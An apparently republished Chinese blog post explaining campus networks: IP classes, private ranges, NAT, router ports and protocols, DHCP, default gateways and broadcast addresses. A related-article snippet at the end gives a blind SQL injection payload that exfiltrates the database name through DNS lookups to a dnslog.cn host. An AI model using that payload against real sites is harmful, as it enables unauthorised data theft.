【计算机网络】你真的懂学校的校园网吗?

news2024/11/24 14:27:15

【计算机网络】你真的懂学校的校园网吗?

  • 第一步:从了解本机的ip开始
    • ip地址
      • ip地址的分类
      • 公用地址和私有地址
    • 查看本机ip
  • 第二步:向上追溯,查看宿舍的路由器
    • 路由器
      • 路由器的两个物理接口
      • 路由器用到的协议
    • 分析宿舍路由器
      • WAN口设置
  • 第三步:总结
    • 什么是默认网关
    • 网络地址与广播地址

  在数字时代,计算机网络已经成为了现代社会不可或缺的一部分。而对于大多数人来说,校园网是我们日常生活中接触最频繁的网络之一,它为学校的师生提供了信息传输、资源共享和互联互通的基础设施。但是,尽管我们每天都在使用校园网,很少有人真正深入了解它的工作原理、安全性和管理细节。

  这就引发了一个重要的问题:你真的懂学校的校园网吗?

第一步:从了解本机的ip开始

  先回忆一下ip的基础知识。

ip地址

ip地址的分类

  IP地址按照其范围和用途被分为五个主要类别,分别是A类、B类、C类、D类和E类。这些类别是IPv4地址(32位地址)的一种分类方式,用于将地址范围划分为不同的子网络以满足不同规模和需求的网络。

  1. A类地址:A类地址是以0开头的IP地址,范围从1.0.0.0到126.0.0.0。A类地址的第一个字节(8位)用于网络标识,其余三个字节(24位)用于主机标识。A类地址适用于大型网络,可以容纳约16.8百万个主机。

  2. B类地址:B类地址以10开头,范围从128.0.0.0到191.255.0.0。B类地址的前两个字节(16位)用于网络标识,后两个字节(16位)用于主机标识。B类地址适用于中等规模的网络,可以容纳约6.5万个主机。

  3. C类地址:C类地址以110开头,范围从192.0.0.0到223.255.255.0。C类地址的前三个字节(24位)用于网络标识,最后一个字节(8位)用于主机标识。C类地址适用于小型网络,每个网络可以容纳约256个主机。

  4. D类地址:D类地址以1110开头,范围从224.0.0.0到239.255.255.255。D类地址用于多播(Multicast)通信,多播地址用于将数据发送给一组特定的接收者。

  5. E类地址:E类地址以1111开头,范围从240.0.0.0到255.255.255.255。E类地址是保留的,用于实验和研究,不用于一般的IP通信。

公用地址和私有地址

  在IPv4网络中,IP地址可以分为公共地址(Public Address)和私有地址(Private Address)。这两种地址类型用于不同的网络环境和目的。

  1. 公共地址(Public Address)

    • 公共地址是全球唯一的IP地址,用于在互联网上识别和定位设备。
    • 这些地址是由互联网分配机构(如互联网分配数字权威机构,简称ICANN)分配的,以确保全球唯一性。
    • 公共地址通常用于连接到互联网的设备,如Web服务器、邮件服务器和大多数用户的家庭路由器的外部接口。
  2. 私有地址(Private Address)

    • 私有地址是在私有网络内部使用的IP地址,通常不可从公共互联网直接访问。
    • 这些地址通常用于局域网(LAN)或内部网络,例如家庭网络、企业内部网络或学校网络。
    • 私有地址的使用帮助在全球范围内节省了IP地址,因为它们不需要在互联网上具有全球唯一性。
    • 私有地址范围通常是以下三个CIDR块:
      • 10.0.0.0 到 10.255.255.255(CIDR块:10.0.0.0/8)
      • 172.16.0.0 到 172.31.255.255(CIDR块:172.16.0.0/12)
      • 192.168.0.0 到 192.168.255.255(CIDR块:192.168.0.0/16)

  私有地址允许多个设备在私有网络内部共享相同的IP地址,通常通过网络地址转换(NAT)来访问公共互联网。NAT允许多个设备共享单个公共IP地址,通过将内部私有地址映射到公共地址来实现。这是在家庭网络和企业网络中常见的做法,以有效地利用有限的公共IP地址资源。

  NAT,全名Network Address Translation(网络地址转换),是一种网络技术,用于将在一个网络上使用的私有IP地址映射到另一个网络上的公共IP地址。NAT通常用于家庭网络和企业网络,以允许多个设备共享单个公共IP地址连接到互联网。这是因为IPv4地址空间有限,而NAT可以帮助有效地利用有限的公共IP地址资源。

查看本机ip

  打开命令提示符(Command Prompt)。

  在命令提示符中键入 ipconfig,然后按下回车键。

在这里插入图片描述
  可以看到我连接的宿舍的wifi后的ip为192.168.1.101。由此可以得出我宿舍的路由器提供的无线网是局域网。

  所以接下来我们分析 路由器

第二步:向上追溯,查看宿舍的路由器

  先补充一下路由器的基础知识。

路由器

路由器的两个物理接口

  路由器通常具有两种主要类型的接口:WAN(Wide Area Network)和LAN(Local Area Network)。这些接口用于连接路由器与外部网络和内部网络。

  1. WAN(广域网)接口
  • WAN接口用于连接路由器与外部网络,通常是互联网。这个接口通常由一个或多个物理端口组成,用于连接到Internet服务提供商(ISP)的设备,例如调制解调器、光纤接入设备(ONT)、电缆调制解调器等。
  • WAN接口上配置的IP地址是公共IP地址,由ISP分配。这个IP地址用于将数据从内部网络传送到互联网,并从互联网传回路由器。
  1. LAN(局域网)接口
  • LAN接口用于连接路由器与内部网络的设备,例如计算机、手机、智能家居设备等。这个接口通常由一个或多个局域网端口组成,通常是以太网端口(例如,RJ45端口)或无线局域网(Wi-Fi)接口。
  • LAN接口上配置的IP地址是私有IP地址,通常位于RFC 1918规定的私有地址范围内,例如192.168.1.1。这些私有IP地址用于内部设备之间的通信,路由器负责将数据包从内部设备路由到互联网上的公共IP地址。

  路由器的工作原理是将从内部设备(LAN)发出的数据包转发到外部网络(WAN),并将来自外部网络的数据包转发到正确的内部设备。这种分离内部网络和外部网络的方式有助于提高网络的安全性和管理性,同时允许多个设备共享单个公共IP地址(通过NAT)。

请添加图片描述

  可以看到上图LAN1LAN2LAN3接口是给电脑接路由器的局域网用的,WAN接口插入的黄线是从外面拉进来的网线。

路由器用到的协议

  主要协议有:

  1. IP协议(Internet Protocol):IP协议是互联网上的基本协议,它用于在网络之间传递数据包。路由器使用IP协议来决定如何将数据包从一个网络传递到另一个网络。

  2. ARP协议(Address Resolution Protocol):ARP协议用于将IP地址映射到MAC地址,以便在局域网上路由数据包。路由器使用ARP来查找局域网上的设备的MAC地址。

  3. ICMP协议(Internet Control Message Protocol):ICMP协议用于发送网络错误消息和探测网络设备的可达性。例如,Ping工具使用ICMP来测试主机的可达性和延迟。

  4. RIP协议(Routing Information Protocol):RIP是一种动态路由协议,用于在路由器之间交换路由信息,以帮助路由器决定最佳的路径。RIP协议有两个主要版本,RIPv1和RIPv2。

  5. OSPF协议(Open Shortest Path First):OSPF是一种用于内部网络的动态路由协议。它基于链路状态算法,用于在大型网络中找到最短路径。

  6. DHCP协议(Dynamic Host Configuration Protocol):DHCP协议用于自动分配IP地址、子网掩码、网关和其他网络配置信息给内部网络中的设备。路由器通常充当DHCP服务器。

  7. NAT协议(Network Address Translation):虽然不是标准的网络协议,但NAT是一种技术,用于将私有IP地址映射到公共IP地址。路由器使用NAT来允许多个设备共享单个公共IP地址。

分析宿舍路由器

WAN口设置

  进入路由器管理页面,看到WAN设置如下:

在这里插入图片描述

  其中,上网方式设置“自动获得IP地址”指的就是使用DHCP协议动态分配联网设备的IP地址。

DHCP协议一些场景:
以前给某单位内网做爬虫项目时,需要限定白名单访问,但是用户电脑是动态分配IP,所以需要把用户电脑设置为指定IP;
在上班时,公司里面工位都有一个网线口,在公司需要使用固定IP,这样可以通过内网IP定位到指定的员工。

  在上图中,发现路由器的ip地址为172.20.165.246,于是得出结论,宿舍的网线其实也是在一个更大的局域网里面的。

第三步:总结

  校园网其实就是一个层层套娃的局域网。

什么是默认网关

  默认网关(Default Gateway)是一个网络设备(通常是路由器或交换机),用于将数据包从一个子网或本地网络传递到另一个网络或互联网上。默认网关在网络通信中起到关键作用,它通常是局域网中所有设备的出口点,用于将数据包发送到目标网络。

  路由功能:默认网关实际上是一台路由器,它拥有多个网络接口,连接到不同的网络。当从一个设备发送数据包到不同子网、局域网或互联网上的目标时,设备将数据包发送到默认网关。默认网关负责查找最佳路径,将数据包传递到正确的目标网络。

  公共IP地址:默认网关通常拥有一个公共IP地址,这个IP地址是与互联网相连的。当本地网络中的设备需要与互联网通信时,它们将数据包发送到默认网关,然后默认网关将数据包路由到外部网络上。

  子网掩码:默认网关通常与本地网络中的设备共享相同的子网掩码。这意味着默认网关和本地网络中的设备属于同一个子网,它们可以直接通信。

  网络管理:默认网关也可以用于网络管理和监控。管理员可以通过默认网关访问网络设备的管理界面,以进行配置、监控和故障排除。

  ARP(Address Resolution Protocol):在局域网内,设备需要知道默认网关的MAC地址,以便将数据包发送到它。ARP协议用于解析IP地址和MAC地址之间的映射,以确保数据包能够正确到达默认网关。

网络地址与广播地址

  在IPv4网络中,每个IP地址都有一个网络地址和一个广播地址。这些地址用于在一个网络中标识网络的范围和在网络上广播信息。

  1. 网络地址(Network Address)

    • 网络地址是一个用于标识特定网络的IP地址。它指示了一个IP地址范围,这个范围内的所有设备都属于同一个网络。
    • 网络地址通常以特定的方式表示,通过将主机部分的所有位设置为0。例如,在一个子网掩码为255.255.255.0的网络中,网络地址为主机部分为0的IP地址。
    • 网络地址通常用于路由表中,以帮助路由器将数据包正确地转发到目标网络。
  2. 广播地址(Broadcast Address)

    • 广播地址是一个特殊的IP地址,用于将数据包广播到同一网络中的所有设备。
    • 广播地址通常以特定的方式表示,通过将主机部分的所有位设置为1。例如,在一个子网掩码为255.255.255.0的网络中,广播地址为主机部分为255的IP地址。
    • 广播通常用于向网络中的所有设备发送信息。例如,ARP请求通常使用广播地址,以便寻找特定IP地址的设备的MAC地址。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1067527.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

linux系统篇(二).之Systemd机制

一、system介绍 systemd配置文件 systemd中这些资源分别代表着不同的单元(Unit)。systemd 总共有 11 种不同类型的“单元”。单元封装了与系统启动和维护相关的各种对象。systemd通过这些Unit的配置文件,知道怎么启动这些Unit。 提供以下单位…

为什么建议你考一个pmp项目管理证书?

先说一下,不是建议所有人考pmp,毕竟也不是所有人都做项目管理这一行,主要是项目管理人士(PMI提出的pmp目标人群),大概如下几类: 项目小白,想进入项目管理行业,可在招聘上…

JDBC和GUI实现图书管理系统

1.介绍 主要通过gui页面实现了与mysql数据库实现交互,跟以前写的图书管理系统相比就是从存在集合中变成了存在数据库中. 下面我来介绍一下主要功能吧: 1.1.通过基本信息添加图书: 1.2.通过ID修改图书 1.3.通过ID查询图书 1.4.通过ID删除图书 2.构建数据库 2.1建库 …

深圳市重点实验室申报要求-华夏泰科

深圳市重点实验室,以开展基础研究、应用基础研究、前沿技术研究,培养人才、支撑产业和社会发展为目标而建立。它为研究人员提供了一个独特的平台,提供了一个展示他们创新性研究的舞台。本文将深入探讨如何申报深圳市重点实验室,为…

VS2022配置Opencv

配置环境变量 配置路径 由于新版本VS属性管理器没有Microsoft.cpp.x64.user文件,可以选择直接在Debug x64进行配置 配置包含目录和库目录 配置链接器

SpringCloud(三)Sentinel、Seata、多级缓存

文章目录 Sentinel雪崩问题Sentinel与Hystrixsentinel使用案例限流规则流控模式流控效果热点参数限流 隔离和降级Feign整合Sentinel线程隔离熔断降级 授权规则与规则持续化自定义异常结果规则管理模式 Seata分布式事务问题理论基础CAP定理BASE理论 Seata架构部署TC服务微服务集…

KylinOSv10系统k8s集群启动mysql5.7占用内存高的问题

问题现象 麒麟系统搭建k8s集群 mysql的pod启动失败 describe查看ommkill,放大limit资源限制到30G依旧启动失败 系统 报错信息 原因 内存占用太高 open_files_limit初始化太高 解决: 1、更换镜像 链接: https://pan.baidu.com/s/1b9uJLcc5Os0uDqD1e…

使用vue-cli创建vue3工程

PS:创建前先查看 vue/cli 版本,确保 vue/cli 版本在4.5.0以上 如果不是4.5.0以上版本,可以通过如下命令进行 安装/升级: npm install -g vue/cli 创建vue3工程步骤如下: 1. 创建项目: ①选择存放项目的…

3DShape2VecSet主题论文集

一、3DShape2VecSet 1、论文信息 2、开源情况:已开源 3DShape2VecSet: A 3D Shape Representation for Neural Fields and Generative Diffusion Modelsg3DShape2VecSet: A 3D Shape Representation for Neural Fields and Generative Diffusion Modelshttps://1z…

车载网络诊断应如何测试?

文章目录 一、前言二、测试内容三、测试设备和台架方案四、测试脚本及工程五、其他一、前言 目前车上主流的网络有CAN、LIN、ETH(以太网)。 按照测试环境可以划分为单件测试,系统测试,整车测试。 我们来看下CAN和以太网的分层图: CAN的分层图: 以太网的分层图: 最好的…

《第一行代码Andorid》阅读笔记-第十三章(最终章)

这一部分是天气API的笔记,这本书最后会让你做一个天气的app程序 其他的无关紧要的部分我就不写了,这是因为我原本的笔记是在飞书上面的,同步到CSDN上的流程稍显复杂 天气API 1. 项目结构 类: MainActivity:主活动Wea…

Echarts热力/散点/面积地图和高德amap不得不说的故事

简单封装高德amap 只要涉及到地图开发,我们都需要依赖地图工具,常见的有谷歌地图、百度地图、高德地图。我们的项目里依赖高德地图JS API 2.0。 npm i amap/amap-jsapi-loader -s 在项目里,我们需要一个预加载好的地图loader方便我们随调随…

【消费战略】解读100个食品品牌|速溶咖啡精品化,“三顿半”承接强势需求!

可可,咖啡、茶饮,作为世 界三大饮料,被人们所熟知。一直以来,咖啡都被人们认定为是舶来。其实,中国的咖啡市场经过这么多年的培育和发展,已不同往昔。就拿上海来说,根据2021年《上海咖啡消费指数…

【算法】算法设计与分析 课程笔记 第三章 动态规划

1.1 动态规划简介 1.1.1 引例 动态规划算法和分治法类似,基本思想也是将待求解问题分解成若干个子问题,子问题可以以继续拆分,直到问题规模达到临界条件即可。多说无益,举个例子来解释一下: 这其实是一个多阶段图求最…

python 打包可执行文件-Nuitka详解

python 打包可执行文件-Nuitka详解 引言一、参数详解二、与pyinstaller对比三、打包总结 引言 Nuitka是用Python编写的优化Python编译器,它可以创建运行时不需要单独安装程序的可执行文件。简单易使用,与Python2(2.6、2.7)和Pyth…

3d环形图开发(vue3+vite+ts)

开发效果&#xff08;待完善&#xff09;&#xff1a; 技术支持&#xff1a; Echarts echarts-gl 安装&#xff1a; 注&#xff1a;echarts与echarts-gl版本需对应&#xff0c;可参考官网 pnpm add echarts4.9.0 echarts-gl1.1.2 组件封装&#xff1a; <template><…

unity操作_Camera c#

观察场景中Main Camera 的清除背景Clear Flags 第一种&#xff1a;Skybox天空盒渲染 制作3D游戏使用 第二种&#xff1a;Solid Color 制作2D游戏 第三种&#xff1a;Depth only 多个摄像机叠加渲染 相对重点学会多个摄像机设置Depth only使…

鸿蒙手表开发之使用adb命令安装线上包

#国庆发生的那些事儿# 鸿蒙手表开发之使用adb命令安装线上包 前言&#xff1a; 由于之前的哥们匆忙离职了&#xff0c;所以鸿蒙手表项目的新版本我临时接过来打包发布&#xff0c;基本上之前没有啥鸿蒙经验&#xff0c;但是一直是做Android开发的&#xff0c;在工作人员的指…

【FPGA零基础学习之旅#14】串口发送字符串

&#x1f389;欢迎来到FPGA专栏~串口发送字符串 ☆* o(≧▽≦)o *☆嗨~我是小夏与酒&#x1f379; ✨博客主页&#xff1a;小夏与酒的博客 &#x1f388;该系列文章专栏&#xff1a;FPGA学习之旅 文章作者技术和水平有限&#xff0c;如果文中出现错误&#xff0c;希望大家能指正…

DNSlog 注入简单笔记

无回显的盲注可以想办法回显到 dns 日志上&#xff1a; 1、打开 http://www.dnslog.cn 获取域名 2、注入&#xff1a; ?id1 and (select load_file(concat(//,(select database()),.3.mw0gxd.dnslog.cn/a)))-- 3、点击刷新得到回显&#xff1a;